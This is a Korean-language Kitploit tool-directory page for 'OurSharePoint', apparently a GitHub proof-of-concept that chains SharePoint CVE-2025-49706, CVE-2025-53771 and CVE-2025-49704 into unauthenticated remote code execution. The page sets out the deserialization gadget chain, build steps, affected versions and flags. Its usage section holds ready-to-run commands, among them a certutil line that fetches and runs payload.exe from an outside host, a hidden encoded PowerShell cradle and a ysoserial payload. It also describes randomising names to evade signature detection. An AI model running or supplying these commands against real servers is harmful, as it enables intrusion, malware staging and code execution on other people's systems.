Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
OurSharePoint-CVE-2025-53770 — 정말로 SharePoint가 안전하다고 생각하십니까? | Kitploit
도구/GitHubGitHub/rabbitbong/oursharepoint-cve-2025-53770
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubrabbitbong/oursharepoint-cve-2025-53770

OurSharePoint-CVE-2025-53770

정말로 SharePoint가 안전하다고 생각하십니까?

저장소 보기
215개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

OurSharePoint — CVE-2025-53770 PoC

자체 포함된 단일 바이너리 SharePoint RCE 도구입니다. TypeConfuseDelegate 가젯 체인을 원시 MS-NRBF 바이트(ysoserial.exe 없음)로 생성하고, 이를 DataSet 역직렬화 페이로드에 래핑한 후 인증 우회를 통해 HTTP로 전달합니다—모든 과정이 한 번에 이루어집니다.


공격 체인

단계CVE설명
1CVE-2025-49706인증 우회 — Referer: /_layouts/SignOut.aspx가 SharePoint 인증을 건너뜁니다
2CVE-2025-53771패치 우회 — ToolPane.aspx 뒤의 후행 경로 세그먼트가 2025년 7월 수정을 회피합니다
3CVE-2025-49704역직렬화 — ExcelDataSet.CompressedDataTable이 조작된 DataSet에 대해 BinaryFormatter를 트리거합니다
4—DataSet 스키마는 ExpandedWrapper + ObjectDataProvider를 통해 내부 페이로드에서 LosFormatter.Deserialize()를 강제로 호출합니다
5—TypeConfuseDelegate — SortedSet<string> 비교자는 Process.Start(string, string)이며, cmd /c <command>를 실행합니다

전체 바이너리 스트림(외부 DataSet 래퍼와 내부 TypeConfuseDelegate 가젯 모두)은 원시 MS-NRBF 레코드로 구성됩니다—.NET 런타임 직렬화는 사용되지 않습니다. 이는 Metasploit 모듈이 생성하는 형식과 바이트 단위로 일치합니다.


빌드

.NET Framework 4.8 SDK(Visual Studio 2022 또는 독립 실행형 Build Tools)가 필요합니다:

root@kitploit:~
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

출력: OurSharePoint\bin\Release\OurSharePoint.exe (단일 파일, 종속성 없음)


사용법

단일 명령: 스테이징 및 실행

root@kitploit:~
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

간단한 명령 실행

root@kitploit:~
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

PowerShell 크래들

root@kitploit:~
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

정찰 전용 (페이로드 없음)

root@kitploit:~
OurSharePoint.exe --target=https://sp.corp.com --check

오프라인 페이로드 파일 생성

root@kitploit:~
OurSharePoint.exe --cmd="calc.exe" --out=exploit

프록시 사용 (Burp)

root@kitploit:~
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

레거시: 외부 ysoserial.exe 페이로드

root@kitploit:~
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

옵션


출력 파일

--out 옵션을 사용하면 도구가 다음 파일을 작성합니다:

파일내용
<prefix>.bin원시 BinaryFormatter DataSet 스트림
<prefix>.b64GZip + Base64 인코딩 (CompressedDataTable에 들어가는 형태)

영향을 받는 버전

에디션취약 범위
SharePoint Server Subscription Edition16.0.14326.20450 – 16.0.18526.20424
SharePoint Server 201916.0.10337.12109 – 16.0.10417.20027
SharePoint Enterprise Server 201616.0.4351.1000 – 16.0.5508.1000
SharePoint Server 201315.0.4481.1005 – 15.0.5545.1000

구현 참고 사항

  • 런타임 직렬화 없음 — DataSet 래퍼와 TypeConfuseDelegate 가젯 모두 BinaryWriter를 사용하여 원시 MS-NRBF 바이너리 레코드로 작성됩니다. 이는 .NET 런타임 직렬화 출력과 대상 역직렬화기가 예상하는 형식 간의 차이를 방지합니다.
  • LosFormatter 프레이밍 — 내부 가젯은 LosFormatter.Serialize()를 사용하는 대신 ObjectStateFormatter 헤더 바이트(0xFF 0x01 0x32 + 7비트 길이)로 래핑됩니다.
  • 단일 바이너리 — 외부 도구, DLL, Python 스크립트가 필요하지 않습니다. .exe는 완전히 자체 포함되어 있습니다.
  • 무작위화 — XML 태그 접두사와 DataSet 요소 이름은 실행마다 무작위화되어 시그니처 탐지를 피합니다.

참고 자료

  • Eye Security — SharePoint Under Siege
  • Metasploit PR #20409 — sharepoint_toolpane_rce
  • MS-NRBF Specification
  • pwntester/ysoserial.net — TypeConfuseDelegate
도구 다운로드
플래그설명기본값
--cmd=COMMAND실행할 명령 (cmd /c COMMAND로 실행)—
--in=FILE미리 빌드된 base64 LosFormatter 페이로드 파일—
--target=URLHTTP 전달용 SharePoint 기본 URL—
--check페이로드 없이 버전만 식별—
--out=PREFIX출력 파일 접두사payload
--sp-version=VERLayouts 경로 버전 (15 또는 16)15
--proxy=URLHTTP 프록시—
--ua=STRING사용자 정의 User-AgentFirefox 120
--referer=URL인증 우회 Referer 재정의auto
--timeout=SECHTTP 타임아웃15
--a/b/c=NAMEDataSet/요소/열 이름random